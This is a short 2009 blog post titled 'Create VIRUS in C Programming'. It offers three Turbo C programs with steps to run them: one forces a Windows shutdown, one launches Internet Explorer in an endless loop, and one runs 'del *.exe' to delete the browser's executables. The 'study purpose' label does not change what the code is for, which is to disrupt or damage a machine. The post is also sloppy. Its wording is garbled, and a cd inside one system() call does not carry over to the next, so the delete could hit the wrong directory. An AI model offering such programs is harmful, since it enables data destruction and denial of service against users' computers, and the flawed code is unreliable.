Sunday, January 4, 2009

Create VIRUS in C Programming !!!!!!!!!!

(only for study purpose)
(1)Write c program which shutdown the window operating system ?
Ans:
Write the following program in TURBO C.
void main(void)
{
system("shutdown -s");
}
Save the above .Let file name is close.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window you have saved the close.c ( default directory c:\tc\bin) and double click the its exe file(close.exe).After some time your window will shutdown.

(2) Write a c program such that when we will click its .exe file then it will open internet explorer at infinite times ?
Ans:
Write the following program in TURBO C.
void main(void)
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}

Save the above .Let file name is internet.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window where you have saved the internet.c ( default directory c:\tc\bin)and double click the its exe file(internet.exe).
(3) Write a c which delete the all the .exe file of internet explorer so that internet explorer will work?

Ans:
Write the following program in TURBO C.
void main(void)
{
system("cd c:\\progra~1\\intern~1");
system(“del *.exe”);
system(“cls”);
}

Save the above .Let file name is internet.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window where you have saved the internet.c ( default directory c:\tc\bin)and double click the its exe file(internet.exe).

No comments:

Blog List